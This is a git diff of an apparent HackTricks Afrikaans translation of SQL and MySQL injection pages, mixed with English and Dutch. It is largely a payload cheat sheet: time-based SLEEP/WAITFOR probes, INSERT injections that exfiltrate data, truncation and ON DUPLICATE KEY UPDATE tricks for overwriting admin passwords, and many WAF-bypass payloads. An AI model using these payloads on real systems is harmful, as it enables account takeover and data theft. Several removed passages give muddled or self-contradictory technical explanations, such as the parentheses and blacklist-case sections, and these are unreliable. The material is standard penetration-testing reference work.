||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
```
|
||||
## Invoegingsverklaring
|
||||
## Insert Statement
|
||||
|
||||
### Wysig wagwoord van bestaande objek/gebruiker
|
||||
|
||||
Om dit te doen, moet jy probeer om **'n nuwe objek te skep wat genoem word as die "meester objek"** (waarskynlik **admin** in die geval van gebruikers) deur iets te wysig:
|
||||
Om dit te doen, moet jy probeer om **'n nuwe objek te skep met die naam "master object"** (waarskynlik **admin** in die geval van gebruikers) deur iets te wysig:
|
||||
|
||||
* Skep 'n gebruiker genaamd: **AdMIn** (hoofletters & kleinletters)
|
||||
* Skep 'n gebruiker genaamd: **admin=**
|
||||
* **SQL Truncation Aanval** (wanneer daar 'n soort **lengtebeperking** in die gebruikersnaam of e-pos is) --> Skep 'n gebruiker met die naam: **admin \[baie spasies] a**
|
||||
* Skep gebruiker met naam: **AdMIn** (hoofletters & kleinletters)
|
||||
* Skep 'n gebruiker met naam: **admin=**
|
||||
* **SQL Truncation Attack** (wanneer daar 'n soort **lengte beperking** in die gebruikersnaam of e-pos is) --> Skep gebruiker met naam: **admin \[baie spasie] a**
|
||||
|
||||
#### SQL Truncation Aanval
|
||||
#### SQL Truncation Attack
|
||||
|
||||
As die databasis kwesbaar is en die maksimum aantal karakters vir die gebruikersnaam byvoorbeeld 30 is en jy wil die gebruiker **admin** voorstel, probeer om 'n gebruikersnaam te skep genaamd: "_admin \[30 spasies] a_" en enige wagwoord.
|
||||
As die databasis kwesbaar is en die maksimum aantal karakters vir gebruikersnaam byvoorbeeld 30 is en jy wil die gebruiker **admin** naboots, probeer om 'n gebruikersnaam te skep genaamd: "_admin \[30 spasies] a_" en enige wagwoord.
|
||||
|
||||
Die databasis sal **nagaan** of die ingevoerde **gebruikersnaam** **bestaan** binne die databasis. As **nie**, sal dit die **gebruikersnaam sny** tot die **maksimum toegelate aantal karakters** (in hierdie geval tot: "_admin \[25 spasies]_") en dan sal dit outomaties al die spasies aan die einde verwyder en die gebruiker "**admin**" met die **nuwe wagwoord** opdateer (daar kan 'n fout voorkom, maar dit beteken nie dat dit nie gewerk het nie).
|
||||
Die databasis sal **kontroleer** of die ingevoerde **gebruikersnaam** **bestaande** is in die databasis. As **nie**, sal dit die **gebruikersnaam** **afsnit** tot die **maksimum toegelate aantal karakters** (in hierdie geval tot: "_admin \[25 spasies]_") en dan sal dit **automaties al die spasies aan die einde verwyder** terwyl dit die gebruiker "**admin**" met die **nuwe wagwoord** in die databasis opdateer (sommige foute kan verskyn, maar dit beteken nie dat dit nie gewerk het nie).
|
||||
|
||||
Meer inligting: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_Noot: Hierdie aanval sal nie meer werk soos hierbo beskryf in die nuutste MySQL-installasies nie. Terwyl vergelykings steeds standaard agterste spasies ignoreer, sal 'n poging om 'n string in te voeg wat langer is as die lengte van 'n veld, 'n fout veroorsaak en die invoeging sal misluk. Vir meer inligting oor hierdie kontrole, besoek: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
|
||||
_Note: Hierdie aanval sal nie meer werk soos hierbo beskryf in die nuutste MySQL-installasies nie. Terwyl vergelykings steeds agtergrondspasies standaard ignoreer, sal die poging om 'n string in te voeg wat langer is as die lengte van 'n veld 'n fout tot gevolg hê, en die invoeging sal misluk. Vir meer inligting oor hierdie kontrole: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
|
||||
|
||||
### MySQL Invoegingstyd gebaseerde kontrole
|
||||
### MySQL Insert tydgebaseerde kontrole
|
||||
|
||||
Voeg soveel `','',''` by as wat jy nodig ag om die VALUES-verklaring te verlaat. As daar vertraging plaasvind, het jy 'n SQLInjection.
|
||||
Voeg soveel `','',''` by as wat jy oorweeg om die VALUES-stelling te verlaat. As daar 'n vertraging uitgevoer word, het jy 'n SQLInjection.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### OP DUBBELE SLEUTEL BYWERK
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
Die `OP DUBBELE SLEUTEL BYWERK`-klousule in MySQL word gebruik om aksies vir die databasis te spesifiseer wanneer 'n poging aangewend word om 'n ry in te voeg wat sou lei tot 'n duplikaatwaarde in 'n UNIEKE indeks of PRIMÊRE SLEUTEL. Die volgende voorbeeld demonstreer hoe hierdie funksie gebruik kan word om die wagwoord van 'n administrateur-rekening te wysig:
|
||||
Die `ON DUPLICATE KEY UPDATE` klousule in MySQL word gebruik om aksies vir die databasis spesifiek aan te dui wanneer 'n poging aangewend word om 'n ry in te voeg wat 'n duplikaatwaarde in 'n UNIEKE indeks of PRIMÊRE SLUITING sou veroorsaak. Die volgende voorbeeld demonstreer hoe hierdie kenmerk uitgebuit kan word om die wagwoord van 'n administrateurrekening te wysig:
|
||||
|
||||
Voorbeeld van 'n inspuitingslading:
|
||||
Example Payload Injection:
|
||||
|
||||
'n Inspuitingslading kan so saamgestel word, waar twee rye in die `gebruikers`-tabel probeer word in te voeg. Die eerste ry is 'n afleidingsmaneuver, en die tweede ry mik op 'n bestaande administrateur se e-pos met die doel om die wagwoord te wysig:
|
||||
'n Invoegpayload kan soos volg saamgestel word, waar twee rye probeer word om in die `users` tabel ingevoeg te word. Die eerste ry is 'n lokval, en die tweede ry teiken 'n bestaande administrateur se e-pos met die bedoeling om die wagwoord op te dateer:
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
Hier is hoe dit werk:
|
||||
|
||||
- Die navraag probeer om twee rye in te voeg: een vir `generic_user@example.com` en 'n ander vir `admin_generic@example.com`.
|
||||
- As die ry vir `admin_generic@example.com` reeds bestaan, word die `ON DUPLICATE KEY UPDATE` klousule geaktiveer, wat MySQL instrueer om die `password` veld van die bestaande ry na "bcrypt_hash_of_newpassword" op te dateer.
|
||||
- Gevolglik kan verifikasie dan probeer word deur gebruik te maak van `admin_generic@example.com` met die wagwoord wat ooreenstem met die bcrypt-hash ("bcrypt_hash_of_newpassword" verteenwoordig die bcrypt-hash van die nuwe wagwoord, wat vervang moet word met die werklike hash van die gewenste wagwoord).
|
||||
- As die ry vir `admin_generic@example.com` reeds bestaan, word die `ON DUPLICATE KEY UPDATE` klousule geaktiveer, wat MySQL instrueer om die `password` veld van die bestaande ry op "bcrypt_hash_of_newpassword" te werk.
|
||||
- Gevolglik kan verifikasie dan probeer word met `admin_generic@example.com` met die wagwoord wat ooreenstem met die bcrypt-hash ("bcrypt_hash_of_newpassword" verteenwoordig die nuwe wagwoord se bcrypt-hash, wat vervang moet word met die werklike hash van die gewenste wagwoord).
|
||||
|
||||
### Inligting onttrek
|
||||
### Trek inligting uit
|
||||
|
||||
#### Skep van 2 rekeninge terselfdertyd
|
||||
#### Skep 2 rekeninge terselfdertyd
|
||||
|
||||
Wanneer jy probeer om 'n nuwe gebruiker en gebruikersnaam, wagwoord en e-pos te skep, is dit nodig:
|
||||
Wanneer daar probeer word om 'n nuwe gebruiker en gebruikersnaam te skep, is wagwoord en e-pos nodig:
|
||||
```
|
||||
SQLi payload:
|
||||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||||
|
||||
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
|
||||
```
|
||||
#### Gebruik van desimale of heksadesimale
|
||||
#### Gebruik van desimale of hexadesimale
|
||||
|
||||
Met hierdie tegniek kan jy inligting onttrek deur slegs 1 rekening te skep. Dit is belangrik om daarop te let dat jy nie iets hoef te kommentaar nie.
|
||||
Met hierdie tegniek kan jy inligting onttrek deur slegs 1 rekening te skep. Dit is belangrik om te noem dat jy nie enige kommentaar hoef te lewer nie.
|
||||
|
||||
Deur gebruik te maak van **hex2dec** en **substr**:
|
||||
Gebruik **hex2dec** en **substr**:
|
||||
```sql
|
||||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
```
|
||||
Om die teks te bekom, kan jy gebruik maak van:
|
||||
Om die teks te verkry kan jy gebruik:
|
||||
```python
|
||||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||
```
|
||||
Met behulp van **hex** en **replace** (en **substr**):
|
||||
Gebruik **hex** en **replace** (en **substr**):
|
||||
```sql
|
||||
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
|
||||
|
@ -456,26 +405,26 @@ Met behulp van **hex** en **replace** (en **substr**):
|
|||
```
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante sibersekuriteit geleentheid in **Spanje** en een van die belangrikste in **Europa**. Met die missie om tegniese kennis te bevorder, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitprofessionals in elke dissipline.
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Gerouteerde SQL-injectie
|
||||
## Routed SQL-inspuiting
|
||||
|
||||
Gerouteerde SQL-injectie is 'n situasie waar die invoegbare navraag nie die een is wat uitset gee nie, maar die uitset van die invoegbare navraag gaan na die navraag wat uitset gee. ([Vanaf Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
Routed SQL-inspuiting is 'n situasie waar die inspuitbare navraag nie die een is wat uitvoer gee nie, maar die uitvoer van die inspuitbare navraag gaan na die navraag wat uitvoer gee. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Voorbeeld:
|
||||
```
|
||||
#Hex of: -1' union select login,password from users-- a
|
||||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||||
```
|
||||
## WAF Deurloop
|
||||
## WAF Bypass
|
||||
|
||||
[Inisieële deurloop vanaf hier](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
[Beginner bypasses hier](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
|
||||
### Geen spasies deurloop
|
||||
### Geen spaties omseiling
|
||||
|
||||
Geen Spasie (%20) - deurloop deur gebruik te maak van alternatiewe spasies
|
||||
Geen Spasie (%20) - omseiling met behulp van witruimte alternatiewe
|
||||
```sql
|
||||
?id=1%09and%091=1%09--
|
||||
?id=1%0Dand%0D1=1%0D--
|
||||
|
@ -484,94 +433,31 @@ Geen Spasie (%20) - deurloop deur gebruik te maak van alternatiewe spasies
|
|||
?id=1%0Aand%0A1=1%0A--
|
||||
?id=1%A0and%A01=1%A0--
|
||||
```
|
||||
# Geen Spasie - omseil deur gebruik te maak van kommentaar
|
||||
|
||||
In sommige gevallen kan het voorkom dat een SQL-injectieaanval wordt geblokkeerd door een webtoepassing die geen spaties toestaat in de invoer. Gelukkig is er een techniek genaamd "gebruik van commentaar" die kan worden gebruikt om deze beperking te omzeilen.
|
||||
|
||||
## Techniek
|
||||
|
||||
De techniek is gebaseerd op het feit dat SQL-commentaar wordt genegeerd door de database-engine. Door gebruik te maken van commentaar kunnen we spaties vervangen zonder de functionaliteit van de SQL-query te beïnvloeden.
|
||||
|
||||
Om deze techniek toe te passen, kunnen we de volgende stappen volgen:
|
||||
|
||||
1. Identificeer een SQL-injectiepunt in de webtoepassing.
|
||||
2. Vervang spaties door SQL-commentaar (/* */).
|
||||
3. Voer de aangepaste SQL-injectie-invoer uit.
|
||||
|
||||
Hier is een voorbeeld van hoe deze techniek kan worden toegepast:
|
||||
|
||||
Originele SQL-query:
|
||||
```
|
||||
SELECT * FROM users WHERE username = 'admin' AND password = 'password'
|
||||
```
|
||||
|
||||
SQL-injectieaanval zonder spaties:
|
||||
```
|
||||
' OR '1'='1'--
|
||||
```
|
||||
|
||||
SQL-injectieaanval met commentaar:
|
||||
```
|
||||
'/*' OR '1'='1'-- */'
|
||||
```
|
||||
|
||||
Door de spaties te vervangen door SQL-commentaar, kunnen we de SQL-injectieaanval uitvoeren zonder dat de webtoepassing de invoer blokkeert.
|
||||
|
||||
Het is belangrijk op te merken dat deze techniek niet altijd werkt, omdat het afhankelijk is van de specifieke implementatie van de webtoepassing en de database-engine. Het is daarom essentieel om deze techniek te testen en te valideren voordat deze in een echte aanval wordt gebruikt.
|
||||
No Whitespace - om te omseil met kommentaar
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
# Geen Spasie - omseil deur gebruik te maak van hakies
|
||||
|
||||
In sommige gevallen kan het voorkom dat een SQL-injectieaanval wordt geblokkeerd door het gebruik van spaties in de payload. Een mogelijke manier om deze beperking te omzeilen, is door gebruik te maken van haakjes.
|
||||
|
||||
## Payload zonder haakjes
|
||||
|
||||
```sql
|
||||
SELECT * FROM users WHERE username='admin' AND password='password'
|
||||
```
|
||||
|
||||
## Payload met haakjes
|
||||
|
||||
```sql
|
||||
SELECT * FROM users WHERE username='admin' AND (password='password')
|
||||
```
|
||||
|
||||
Door haakjes toe te voegen rond de voorwaarde die we willen injecteren, kunnen we de SQL-query laten werken zonder spaties. Dit komt doordat de haakjes fungeren als een groeperingselement en de syntaxis van de query behouden, zelfs zonder spaties.
|
||||
|
||||
Het is belangrijk op te merken dat deze techniek niet altijd werkt, omdat het afhangt van de specifieke implementatie van de SQL-parser. Het is altijd raadzaam om verschillende technieken uit te proberen en de reactie van de applicatie te observeren om de meest effectieve methode te bepalen.
|
||||
Geen Spasië - omseil met behulp van haakies
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
### Geen kommas omseil
|
||||
### Geen komma omseiling
|
||||
|
||||
Geen kommas - omseil deur gebruik te maak van OFFSET, FROM en JOIN
|
||||
Geen Komma - omseiling met OFFSET, FROM en JOIN
|
||||
```
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||||
```
|
||||
### Generiese Oorbruggings
|
||||
### Generiese Omseilings
|
||||
|
||||
Swartlys deur sleutelwoorde te gebruik - oorbrug deur hoofletters/kleinletters te gebruik
|
||||
Swartlys met sleutelwoorde - omseil met hoofletters/kleinletters
|
||||
```sql
|
||||
?id=1 AND 1=1#
|
||||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
### Swartlys gebruik sleutelwoorde nie hooflettergevoelig nie - omseil deur 'n ekwivalente operator te gebruik
|
||||
|
||||
As jy te doen het met 'n swartlys wat gebruik maak van sleutelwoorde wat nie hooflettergevoelig is nie, kan jy dit omseil deur 'n ekwivalente operator te gebruik. Hierdie tegniek maak gebruik van die feit dat die swartlys slegs spesifieke sleutelwoorde uitsluit, maar nie ekwivalente uitdrukkings wat dieselfde betekenis het nie.
|
||||
|
||||
Byvoorbeeld, as die swartlys die sleutelwoord "admin" uitsluit, kan jy die ekwivalente uitdrukking "AdMiN" gebruik om die beperking te omseil. Dit is omdat die swartlys nie hooflettergevoelig is nie en dus nie die ekwivalente uitdrukking sal herken nie.
|
||||
|
||||
Hier is 'n voorbeeld van hoe jy hierdie tegniek kan toepas:
|
||||
|
||||
```sql
|
||||
SELECT * FROM users WHERE username = 'AdMiN' AND password = 'password'
|
||||
```
|
||||
|
||||
Deur die ekwivalente uitdrukking te gebruik, kan jy die swartlys omseil en toegang verkry tot die beoogde funksionaliteit of data. Dit is egter belangrik om te onthou dat hierdie tegniek slegs werk as die swartlys nie hooflettergevoelig is nie.
|
||||
Blacklist gebruik sleutelwoorde nie-hoofletters sensitief - omseil met 'n ekwivalente operator
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
|
@ -581,18 +467,18 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
|||
```
|
||||
### Wetenskaplike Notasie WAF omseiling
|
||||
|
||||
Jy kan 'n meer diepgaande verduideliking van hierdie truuk vind in die [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
Jy kan 'n meer gedetailleerde verduideliking van hierdie truuk in die [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) vind.\
|
||||
Basies kan jy die wetenskaplike notasie op onverwagte maniere gebruik om die WAF te omseil:
|
||||
```
|
||||
-1' or 1.e(1) or '1'='1
|
||||
-1' or 1337.1337e1 or '1'='1
|
||||
' or 1.e('')=
|
||||
```
|
||||
### Om Kolomname Beperkings te Omseil
|
||||
### Bypass Column Names Restriction
|
||||
|
||||
Eerst en vooral, let daarop dat as die **oorspronklike navraag en die tabel waaruit jy die vlag wil onttrek dieselfde hoeveelheid kolomme het**, kan jy eenvoudig doen: `0 UNION SELECT * FROM flag`
|
||||
Eerstens, let op dat as die **oorspronklike navraag en die tabel waaruit jy die vlag wil onttrek dieselfde aantal kolomme het**, jy net kan doen: `0 UNION SELECT * FROM flag`
|
||||
|
||||
Dit is moontlik om **toegang tot die derde kolom van 'n tabel te verkry sonder om sy naam te gebruik** deur 'n navraag soos die volgende te gebruik: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, so in 'n sqlinjection sal dit so lyk:
|
||||
Dit is moontlik om **toegang te verkry tot die derde kolom van 'n tabel sonder om sy naam te gebruik** met 'n navraag soos die volgende: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, so in 'n sqlinjection sal dit lyk soos:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
|
@ -602,9 +488,9 @@ Of deur 'n **komma omseiling** te gebruik:
|
|||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||||
```
|
||||
Hierdie truuk is geneem van [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
|
||||
### WAF omseilingsvoorstel-gereedskap
|
||||
### WAF omseil voorstelle gereedskap
|
||||
|
||||
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
||||
|
||||
|
@ -613,7 +499,7 @@ Hierdie truuk is geneem van [https://secgroup.github.io/2017/01/03/33c3ctf-write
|
|||
* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## Brute-Force Deteksie Lys
|
||||
## Brute-Force Opsporing Lys
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
|
||||
|
||||
|
@ -623,18 +509,21 @@ Hierdie truuk is geneem van [https://secgroup.github.io/2017/01/03/33c3ctf-write
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid geleentheid in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en kuberveiligheidspesialiste in elke dissipline.
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hakwerk van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **kuberveiligheidsmaatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# MySQL inspuiting
|
||||
# MySQL-inspuiting
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheidsevenement in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en kuberveiligheidspesialiste in elke dissipline.
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -43,34 +46,6 @@ length(1)
|
|||
count(1)
|
||||
```
|
||||
### Nuttige funksies
|
||||
|
||||
Here are some useful functions that can be used in MySQL injection attacks:
|
||||
|
||||
Hier is 'n paar nuttige funksies wat gebruik kan word in MySQL-injeksie aanvalle:
|
||||
|
||||
- `version()`: Returns the version of the MySQL server.
|
||||
- `database()`: Returns the name of the current database.
|
||||
- `user()`: Returns the username used to connect to the MySQL server.
|
||||
- `current_user()`: Returns the current MySQL user.
|
||||
- `@@hostname`: Returns the hostname of the MySQL server.
|
||||
- `@@datadir`: Returns the data directory of the MySQL server.
|
||||
- `@@basedir`: Returns the base directory of the MySQL server.
|
||||
- `@@version_compile_os`: Returns the operating system on which the MySQL server is running.
|
||||
- `@@secure_file_priv`: Returns the secure file privilege value.
|
||||
- `@@global.version_compile_os`: Returns the operating system on which the MySQL server is running (global scope).
|
||||
- `@@global.secure_file_priv`: Returns the secure file privilege value (global scope).
|
||||
|
||||
- `version()`: Gee die weergawe van die MySQL-bediener terug.
|
||||
- `database()`: Gee die naam van die huidige databasis terug.
|
||||
- `user()`: Gee die gebruikersnaam terug wat gebruik word om met die MySQL-bediener te verbind.
|
||||
- `current_user()`: Gee die huidige MySQL-gebruiker terug.
|
||||
- `@@hostname`: Gee die gasheernaam van die MySQL-bediener terug.
|
||||
- `@@datadir`: Gee die data-gids van die MySQL-bediener terug.
|
||||
- `@@basedir`: Gee die basisgids van die MySQL-bediener terug.
|
||||
- `@@version_compile_os`: Gee die bedryfstelsel waarop die MySQL-bediener loop terug.
|
||||
- `@@secure_file_priv`: Gee die veilige lêer-voorregwaarde terug.
|
||||
